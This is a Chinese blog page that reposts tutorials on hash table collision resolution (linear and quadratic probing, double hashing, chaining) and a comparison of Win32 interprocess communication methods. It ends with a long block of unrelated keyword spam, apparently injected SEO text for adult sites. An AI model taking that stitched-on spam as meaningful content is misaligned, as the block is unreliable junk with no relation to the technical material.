             由除余法的散列函數計算出的上述關鍵字序列的散列地址為(0,10,2,12,5,2,3,12,6,12)。
             前5個關鍵字插入時,其相應的地址均為開放地址,故將它們直接插入T[0],T[10),T[2],T[12]和T[5]中。
             當插入第6個關鍵字15時,其散列地址2(即h(15)=15%13=2)已被關鍵字41(15和41互為同義詞)占用。故探查h1=(2+1)%13=3,此地址開放,所以將15放入T[3]中。
             當插入第7個關鍵字68時,其散列地址3已被非同義詞15先占用,故將其插入到T[4]中。
             當插入第8個關鍵字12時,散列地址12已被同義詞38占用,故探查hl=(12+1)%13=0,而T[0]亦被26占用,再探查h2=(12+2)%13=1,此地址開放,可將12插入其中。
             類似地,第9個關鍵字06直接插入T[6]中;而最后一個關鍵字51插人時,因探查的地址12,0,1,…,6均非空,故51插入T[7]中。
             構造散列表的具體過程【參見動畫演示】

            聚集或堆積現象
            用線性探查法解決沖突時,當表中i,i+1,…,i+k的位置上已有結點時,一個散列地址為i,i+1,…,i+k+1的結點都將插入在位置i+k+1 上。把這種散列地址不同的結點爭奪同一個后繼散列地址的現象稱為聚集或堆積(Clustering)。這將造成不是同義詞的結點也處在同一個探查序列之 中,從而增加了探查序列的長度,即增加了查找時間。若散列函數不好或裝填因子過大,都會使堆積現象加劇。
            【例】上例中,h(15)=2,h(68)=3,即15和68不是同義詞。但由于處理15和同義詞41的沖突時,15搶先占用了T[3],這就使得插入68時,這兩個本來不應該發生沖突的非同義詞之間也會發生沖突。
             為了減少堆積的發生,不能像線性探查法那樣探查一個順序的地址序列(相當于順序查找),而應使探查序列跳躍式地散列在整個散列表中。

            ②二次探查法(Quadratic Probing)
             二次探查法的探查序列是:
            hi=(h(key)+i*i)%m 0≤i≤m-1 //即di=i2
            即探查序列為d=h(key),d+12,d+22,…,等。
             該方法的缺陷是不易探查到整個散列空間。

            ③雙重散列法(Double Hashing)
             該方法是開放定址法中最好的方法之一,它的探查序列是:
            hi=(h(key)+i*h1(key))%m 0≤i≤m-1 //即di=i*h1(key)
             即探查序列為:
            d=h(key),(d+h1(key))%m,(d+2h1(key))%m,…,等。
             該方法使用了兩個散列函數h(key)和h1(key),故也稱為雙散列函數探查法。
            注意:
            定義h1(key)的方法較多,但無論采用什么方法定義,都必須使h1(key)的值和m互素,才能使發生沖突的同義詞地址均勻地分布在整個表中,否則可能造成同義詞地址的循環計算。
            【例】若m為素數,則h1(key)取1到m-1之間的任何數均與m互素,因此,我們可以簡單地將它定義為:
            h1(key)=key%(m-2)+1
            【例】對例9.1,我們可取h(key)=key%13,而h1(key)=key%11+1。
            【例】若m是2的方冪,則h1(key)可取1到m-1之間的任何奇數。
            2、拉鏈法
            (1)拉鏈法解決沖突的方法
             拉鏈法解決沖突的做法是:將所有關鍵字為同義詞的結點鏈接在同一個單鏈表中。若選定的散列表長度為m,則可將散列表定義為一個由m個頭指針組成的指針數 組T[0..m-1]。凡是散列地址為i的結點,均插入到以T[i]為頭指針的單鏈表中。T中各分量的初值均應為空指針。在拉鏈法中,裝填因子α可以大于 1,但一般均取α≤1。

            【例9.2】已知一組關鍵字和選定的散列函數和例9.1相同,用拉鏈法解決沖突構造這組關鍵字的散列表。
            解答:不妨和例9.1類似,取表長為13,故散列函數為h(key)=key%13,散列表為T[0..12]。
            注意:
            當把h(key)=i的關鍵字插入第i個單鏈表時,既可插入在鏈表的頭上,也可以插在鏈表的尾上。這是因為必須確定key不在第i個鏈表時,才能將它插入 表中,所以也就知道鏈尾結點的地址。若采用將新關鍵字插入鏈尾的方式,依次把給定的這組關鍵字插入表中,則所得到的散列表如下圖所示。
             具體構造過程【參見動畫演示】。

            (2)拉鏈法的優點
             與開放定址法相比,拉鏈法有如下幾個優點:
            (1)拉鏈法處理沖突簡單,且無堆積現象,即非同義詞決不會發生沖突,因此平均查找長度較短;
            (2)由于拉鏈法中各鏈表上的結點空間是動態申請的,故它更適合于造表前無法確定表長的情況;
            (3)開放定址法為減少沖突,要求裝填因子α較小,故當結點規模較大時會浪費很多空間。而拉鏈法中可取α≥1,且結點較大時,拉鏈法中增加的指針域可忽略不計,因此節省空間;
            (4)在用拉鏈法構造的散列表中,刪除結點的操作易于實現。只要簡單地刪去鏈表上相應的結點即可。而對開放地址法構造的散列表,刪除結點不能簡單地將 被刪結點的空間置為空,否則將截斷在它之后填人散列表的同義詞結點的查找路徑。這是因為各種開放地址法中,空地址單元(即開放地址)都是查找失敗的條件。 因此在用開放地址法處理沖突的散列表上執行刪除操作,只能在被刪結點上做刪除標記,而不能真正刪除結點。

            (3)拉鏈法的缺點
             拉鏈法的缺點是:指針需要額外的空間,故當結點規模較小時,開放定址法較為節省空間,而若將節省的指針空間用來擴大散列表的規模,可使裝填因子變小,這又減少了開放定址法中的沖突,從而提高平均查找速度。

            本文轉自:http://bbs.csdn.net/topics/320198804
                                 http://www.cnblogs.com/jiewei915/archive/2010/08/09/1796042.html
            posted @ 2012-11-21 14:22 王海光 閱讀(723) | 評論 (0)編輯 收藏

            Win32應用程序中進程間通信方法分析與比較

            來源:Intetnet

             

            進程與進程通信

              進程是裝入內存并準備執行的程序,每個進程都有私有的虛擬地址空間,由代碼、數據以及它可利用的系統資源(如文件、管道等)組成。多進程/多線程是Windows操作系統的一個基本特征。Microsoft Win32應用編程接口(Application Programming Interface, API)提供了大量支持應用程序間數據共享和交換的機制,這些機制行使的活動稱為進程間通信(InterProcess Communication, IPC),進程通信就是指不同進程間進行數據共享和數據交換。
              正因為使用Win32 API進行進程通信方式有多種,如何選擇恰當的通信方式就成為應用開發中的一個重要問題,下面本文將對Win32中進程通信的幾種方法加以分析和比較。

            進程通信方法

            2.1 文件映射
              文件映射(Memory-Mapped Files)能使進程把文件內容當作進程地址區間一塊內存那樣來對待。因此,進程不必使用文件I/O操作,只需簡單的指針操作就可讀取和修改文件的內容。
              Win32 API允許多個進程訪問同一文件映射對象,各個進程在它自己的地址空間里接收內存的指針。通過使用這些指針,不同進程就可以讀或修改文件的內容,實現了對文件中數據的共享。
              應用程序有三種方法來使多個進程共享一個文件映射對象。
              (1)繼承:第一個進程建立文件映射對象,它的子進程繼承該對象的句柄。
              (2)命名文件映射:第一個進程在建立文件映射對象時可以給該對象指定一個名字(可與文件名不同)。第二個進程可通過這個名字打開此文件映射對象。另外,第一個進程也可以通過一些其它IPC機制(有名管道、郵件槽等)把名字傳給第二個進程。
              (3)句柄復制:第一個進程建立文件映射對象,然后通過其它IPC機制(有名管道、郵件槽等)把對象句柄傳遞給第二個進程。第二個進程復制該句柄就取得對該文件映射對象的訪問權限。
              文件映射是在多個進程間共享數據的非常有效方法,有較好的安全性。但文件映射只能用于本地機器的進程之間,不能用于網絡中,而開發者還必須控制進程間的同步。
            2.2 
            共享內存
              Win32 API中共享內存(Shared Memory)實際就是文件映射的一種特殊情況。進程在創建文件映射對象時用0xFFFFFFFF來代替文件句柄(HANDLE),就表示了對應的文件映射對象是從操作系統頁面文件訪問內存,其它進程打開該文件映射對象就可以訪問該內存塊。由于共享內存是用文件映射實現的,所以它也有較好的安全性,也只能運行于同一計算機上的進程之間。
            2.3 
            匿名管道
              管道(Pipe)是一種具有兩個端點的通信通道:有一端句柄的進程可以和有另一端句柄的進程通信。管道可以是單向-一端是只讀的,另一端點是只寫的;也可以是雙向的一管道的兩端點既可讀也可寫。
              匿名管道(Anonymous Pipe)是在父進程和子進程之間,或同一父進程的兩個子進程之間傳輸數據的無名字的單向管道。通常由父進程創建管道,然后由要通信的子進程繼承通道的讀端點句柄或寫端點句柄,然后實現通信。父進程還可以建立兩個或更多個繼承匿名管道讀和寫句柄的子進程。這些子進程可以使用管道直接通信,不需要通過父進程。
              匿名管道是單機上實現子進程標準I/O重定向的有效方法,它不能在網上使用,也不能用于兩個不相關的進程之間。
            2.4 
            命名管道
              命名管道(Named Pipe)是服務器進程和一個或多個客戶進程之間通信的單向或雙向管道。不同于匿名管道的是命名管道可以在不相關的進程之間和不同計算機之間使用,服務器建立命名管道時給它指定一個名字,任何進程都可以通過該名字打開管道的另一端,根據給定的權限和服務器進程通信。
              命名管道提供了相對簡單的編程接口,使通過網絡傳輸數據并不比同一計算機上兩進程之間通信更困難,不過如果要同時和多個進程通信它就力不從心了。
            2.5 
            郵件槽
              郵件槽(Mailslots)提供進程間單向通信能力,任何進程都能建立郵件槽成為郵件槽服務器。其它進程,稱為郵件槽客戶,可以通過郵件槽的名字給郵件槽服務器進程發送消息。進來的消息一直放在郵件槽中,直到服務器進程讀取它為止。一個進程既可以是郵件槽服務器也可以是郵件槽客戶,因此可建立多個郵件槽實現進程間的雙向通信。
              通過郵件槽可以給本地計算機上的郵件槽、其它計算機上的郵件槽或指定網絡區域中所有計算機上有同樣名字的郵件槽發送消息。廣播通信的消息長度不能超過400字節,非廣播消息的長度則受郵件槽服務器指定的最大消息長度的限制。
              郵件槽與命名管道相似,不過它傳輸數據是通過不可靠的數據報(TCP/IP協議中的UDP)完成的,一旦網絡發生錯誤則無法保證消息正確地接收,而命名管道傳輸數據則是建立在可靠連接基礎上的。不過郵件槽有簡化的編程接口和給指定網絡區域內的所有計算機廣播消息的能力,所以郵件槽不失為應用程序發送和接收消息的另一種選擇。
            2.6 
            剪貼板
              剪貼板(Clipped Board)實質是Win32 API中一組用來傳輸數據的函數和消息,為Windows應用程序之間進行數據共享提供了一個中介,Windows已建立的剪切(復制)-粘貼的機制為不同應用程序之間共享不同格式數據提供了一條捷徑。當用戶在應用程序中執行剪切或復制操作時,應用程序把選取的數據用一種或多種格式放在剪貼板上。然后任何其它應用程序都可以從剪貼板上拾取數據,從給定格式中選擇適合自己的格式。
              剪貼板是一個非常松散的交換媒介,可以支持任何數據格式,每一格式由一無符號整數標識,對標準(預定義)剪貼板格式,該值是Win32 API定義的常量;對非標準格式可以使用Register Clipboard Format函數注冊為新的剪貼板格式。利用剪貼板進行交換的數據只需在數據格式上一致或都可以轉化為某種格式就行。但剪貼板只能在基于Windows的程序中使用,不能在網絡上使用。
            2.7 
            動態數據交換
              動態數據交換(DDE)是使用共享內存在應用程序之間進行數據交換的一種進程間通信形式。應用程序可以使用DDE進行一次性數據傳輸,也可以當出現新數據時,通過發送更新值在應用程序間動態交換數據。
              DDE和剪貼板一樣既支持標準數據格式(如文本、位圖等),又可以支持自己定義的數據格式。但它們的數據傳輸機制卻不同,一個明顯區別是剪貼板操作幾乎總是用作對用戶指定操作的一次性應答-如從菜單中選擇Paste命令。盡管DDE也可以由用戶啟動,但它繼續發揮作用一般不必用戶進一步干預。DDE有三種數據交換方式:
              (1) 冷鏈:數據交換是一次性數據傳輸,與剪貼板相同。
              (2) 溫鏈:當數據交換時服務器通知客戶,然后客戶必須請求新的數據。
              (3) 熱鏈:當數據交換時服務器自動給客戶發送數據。
              DDE交換可以發生在單機或網絡中不同計算機的應用程序之間。開發者還可以定義定制的DDE數據格式進行應用程序之間特別目的IPC,它們有更緊密耦合的通信要求。大多數基于Windows的應用程序都支持DDE。
            2.8 
            對象連接與嵌入
              應用程序利用對象連接與嵌入(OLE)技術管理復合文檔(由多種數據格式組成的文檔),OLE提供使某應用程序更容易調用其它應用程序進行數據編輯的服務。例如,OLE支持的字處理器可以嵌套電子表格,當用戶要編輯電子表格時OLE庫可自動啟動電子表格編輯器。當用戶退出電子表格編輯器時,該表格已在原始字處理器文檔中得到更新。在這里電子表格編輯器變成了字處理器的擴展,而如果使用DDE,用戶要顯式地啟動電子表格編輯器。
              同DDE技術相同,大多數基于Windows的應用程序都支持OLE技術。
            2.9 
            動態連接庫
              Win32動態連接庫(DLL)中的全局數據可以被調用DLL的所有進程共享,這就又給進程間通信開辟了一條新的途徑,當然訪問時要注意同步問題。
              雖然可以通過DLL進行進程間數據共享,但從數據安全的角度考慮,我們并不提倡這種方法,使用帶有訪問權限控制的共享內存的方法更好一些。
            2.10 
            遠程過程調用
              Win32 API提供的遠程過程調用(RPC)使應用程序可以使用遠程調用函數,這使在網絡上用RPC進行進程通信就像函數調用那樣簡單。RPC既可以在單機不同進程間使用也可以在網絡中使用。
              由于Win32 API提供的RPC服從OSF-DCE(Open Software Foundation Distributed Computing Environment)標準。所以通過Win32 API編寫的RPC應用程序能與其它操作系統上支持DECRPC應用程序通信。使用RPC開發者可以建立高性能、緊密耦合的分布式應用程序。
            2.11 NetBios
            函數
              Win32 API提供NetBios函數用于處理低級網絡控制,這主要是為IBM NetBios系統編寫與Windows的接口。除非那些有特殊低級網絡功能要求的應用程序,其它應用程序最好不要使用NetBios函數來進行進程間通信。
            2.12 Sockets
              Windows Sockets規范是以U.C.Berkeley大學BSD UNIX中流行的Socket接口為范例定義的一套Windows下的網絡編程接口。除了Berkeley Socket原有的庫函數以外,還擴展了一組針對Windows的函數,使程序員可以充分利用Windows的消息機制進行編程。
              現在通過Sockets實現進程通信的網絡應用越來越多,這主要的原因是Sockets的跨平臺性要比其它IPC機制好得多,另外WinSock 2.0不僅支持TCP/IP協議,而且還支持其它協議(IPX)Sockets的唯一缺點是它支持的是底層通信操作,這使得在單機的進程間進行簡單數據傳遞不太方便,這時使用下面將介紹的WM_COPYDATA消息將更合適些。
            2.13 WM_COPYDATA
            消息
              WM_COPYDATA是一種非常強大卻鮮為人知的消息。當一個應用向另一個應用傳送數據時,發送方只需使用調用SendMessage函數,參數是目的窗口的句柄、傳遞數據的起始地址、WM_COPYDATA消息。接收方只需像處理其它消息那樣處理WM_COPY DATA消息,這樣收發雙方就實現了數據共享。
              WM_COPYDATA是一種非常簡單的方法,它在底層實際上是通過文件映射來實現的。它的缺點是靈活性不高,并且它只能用于Windows平臺的單機環境下。

            結束語

              Win32 API為應用程序實現進程間通信提供了如此多種選擇方案,那么開發者如何進行選擇呢?通常在決定使用哪種IPC方法之前應考慮下一些問題,如應用程序是在網絡環境下還是在單機環境下工作等。


            本文轉自:
            http://www.cnblogs.com/erwin/archive/2007/04/16/715084.html

            posted @ 2012-11-20 16:47 王海光 閱讀(433) | 評論 (0)編輯 收藏
                 摘要: 匿名管道  管道(Pipe)是一種具有兩個端點的通信通道:有一端句柄的進程可以和有另一端句柄的進程通信。管道可以是單向-一端是只讀的,另一端點是只寫的;也可以是雙向的一管道的兩端點既可讀也可寫?! ∧涿艿?Anonymous Pipe)是在父進程和子進程之間,或同一父進程的兩個子進程之間傳輸數據的無名字的單向管道。通常由父進程創建管道,然后由要通信的子進程繼承通道的讀端點句柄或寫端點句...  閱讀全文
            posted @ 2012-11-20 16:35 王海光 閱讀(6632) | 評論 (0)編輯 收藏
            僅列出標題
            共27頁: First 9 10 11 12 13 14 15 16 17 Last 
            久久Av无码精品人妻系列| 99国内精品久久久久久久| 久久久国产精品| 国内精品久久久久久不卡影院| 国产91色综合久久免费| 久久电影网一区| 久久久久国产成人精品亚洲午夜| 久久久久国产一区二区| 久久亚洲国产成人影院网站| 少妇被又大又粗又爽毛片久久黑人| 久久亚洲中文字幕精品一区| 伊人久久一区二区三区无码| 久久99热这里只有精品国产| 精品无码久久久久久尤物| 国产一级持黄大片99久久| 国产午夜福利精品久久| 久久天天婷婷五月俺也去| 色综合久久久久综合体桃花网 | 日韩中文久久| 无码专区久久综合久中文字幕 | 精品久久久久久无码中文字幕 | 精品久久久一二三区| 伊人久久大香线蕉av一区| 国产亚洲精品自在久久| 99久久国产亚洲高清观看2024| 久久久久久无码国产精品中文字幕| 久久精品国产99国产精品导航| 欧美亚洲色综久久精品国产| 99久久成人18免费网站| 亚洲伊人久久精品影院| 久久久久国产精品| 久久精品国产男包| 91超碰碰碰碰久久久久久综合| 狠狠色丁香婷婷久久综合五月| 久久精品国产亚洲av麻豆小说| 久久中文精品无码中文字幕| 久久综合噜噜激激的五月天| 亚洲国产成人精品女人久久久| 精品免费久久久久久久| 久久精品日日躁夜夜躁欧美| 国内精品久久久久久久亚洲|